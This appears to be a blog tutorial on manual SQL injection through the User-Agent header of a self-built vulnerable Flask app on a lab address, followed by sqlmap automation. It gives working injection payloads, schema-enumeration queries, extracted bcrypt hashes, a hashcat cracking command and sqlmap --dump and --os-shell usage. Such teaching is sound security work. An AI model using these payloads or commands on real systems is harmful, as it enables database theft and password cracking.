Exploiting SQL vulnerabilities manually with Burp Suite

According to OWASP, injection attacks are still a common attack vector. There are several tools which can be used to exploit a SQL vulnerability. A personal favourite is SQLmap. However, understanding how SQLi works is an important aspect of penetration testing. It is also crucial to understand how the underlying infrastructure works when conducting these types of attacks. PentestMonkey has a great cheat sheet for when conducting manual SQLi.

Developing a vulnerable application

A vulnerable application was developed using Python with its Flask library. And yes, I am fully aware that the application might be a bit silly. However, these types of vulnerabilities are common due to poor coding practices – which is demonstrated in this example. The code snippet above shows how the application extracts the visitor’s User-Agent and IP address. The values are inserted into the logging table under the user_agent and ip columns. From thereon, the newly logged information is shown to the visitor.

The code itself seems secure enough for many developers, as the SQL query is “properly” formatted and the quotes are prepared on forehand. The format feature is widely used among other Python programmers. The same feature is used to insert the data directly into their specific value. This is (of course) secure! Right…?

The image above shows the application’s feature. When a client visits the web server, the User-Agent and IP address gets stored in the database and informs the user of the values.

Exploitation

The web request is sent to Burp Suite’s repeater. The User-Agent is modified to Hello world!, which has successfully been stored in the database. Great! We can modify the User-Agent and modify the stored value. Now what?

Changing the value to a ' displays an Internal Server Error. This is a clear indication that the value was not understood by the server, which is also known as an insufficient SQL query.

INSERT INTO logging (user_agent, ip) VALUES (''', '192.168.0.51')

The query above is what was executed by the server. No wonder it threw an error! Three ' follow by a , is bad news for the server. The SQL query is not complete. However, this is good news for an attacker, as it is vulnerable to SQLi.

Hello world!', (SELECT VERSION()))-- -

The payload above enters Hello world! into the user_agent table. However, the following value ', is used to “break out” of the SQL query and continue the syntax. From thereon, a subquery is used to select the SQL version number. The version is 10.3.23-MariaDB-1, which is basically MySQL.

Furthermore, when attempting to enumerate the existing databases, the server throws the error Subquery returns more than 1 row. This is because of the insert statement only inserts two values. The first value is used by the User-Agent, whilst the second for the IP address. If the requested output contains more than one value (such as listing the databases), these must be concatenated. Otherwise, the SQL query will not work. Listing the used database with Hello world!', (SELECT database())-- - reveals that the database is named platform. However, listing all the databases is preferred.

However, without all table and column names in the database, there is still “nothing” we can do. Therefore, the database’s contents must be enumerated further.

Hello world!', (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata))-- -

The output displays that there are two databases: information_schema and platform. These are now concatenated together due to the output limitation.

Hello world!', (SELECT GROUP_CONCAT(table_schema, table_name, column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'))-- -

The query above enumerates all tables and columns in the platform database. The output shows a series of interesting tables, such as usernames and passwords.

loggingusernamespasswords
IDIDID
user_agentnameuser_password
ipuser_login

The table and column names in the platform database have now been discovered. The final step is to select these values.

The usernames were successfully extracted from the usernames table. However, the values are still concatenated, as the query would not work without the GROUP_CONCAT() function.

The passwords were also successfully extracted from the database. The hashes can now be appropriately formatted before being cracked with either Hashcat or John the Ripper.

gareth:$2a$10$zd96ciX9Z8rWZOGFB7k/ou8gIWLeFqDcFAY9nqkQUui4Gy/vE1gUq
john:$2a$10$MVMc8UJdcP9UrOoN46aNbOn6zP.13jt11uQzQ8xTBoMogaS2gPK.6
foo:$2a$10$FYJCqeO//Uq9EblIO4wfyezxUo.g/qtpynfyAJAe4pv9OPM/XoTuu

hashcat -D 2 -a 0 -m 3200 crack.txt /usr/share/seclists/Passwords/darkc0de.txt

The hashes can be cracked with hashcat with the syntax shown above. Any wordlist will do for weak/common passwords (such as these. Feel free to crack them). However, ensure that the driver for your GPU is installed, as hashcat supports GPU cracking, which is tremendously more powerful than CPU.

Fast track with SQLmap

sqlmap -u http://192.168.0.51:5000/ --dbms=mysql

The following syntax will automatically attempt to inject different payloads to exploit SQLi vulnerabilities. SQLmap will automatically detect injection points and attempt to exploit these, such as user agents, cookies, post data, etc. The level of testing can be adjusted with the --level flag.

SQLmap noticed that the User-Agent parameter was injectable, and started to conduct further queries in depth.

sqlmap -u http://192.168.0.51:5000/ --dbms=mysql -D platform -T passwords -C user_password --dump

SQLmap can enumerate the databases (--dbs), tables (--tables), and columns (--columns). After enumerating the tables and columns, the values can be dumped out using --dump, as shown in the syntax above.

The passwords were successfully dumped by SQLmap. This demonstrates that the attacker does not require any advanced SQL knowledge to exploit a SQL vulnerability.

Conclusion

SQL vulnerabilities are very serious, as they could lead to exposure of the entire database. Prepared statements should be used to ensure that user input cannot “break out” and modify the SQL query.

Using automated tools can also be used to exploit this type of vulnerability, which could lead to remote access. SQLmap has a feature called --os-shell, which uploads a fully interactive web shell on the targeted system. The web shells are supported on ASP, ASPX, JSP, and PHP. Not only can SQLmap expose the entire database, but also grant a reverse shell. SQLmap allows an attacker with very little knowledge to exploit a SQL vulnerability.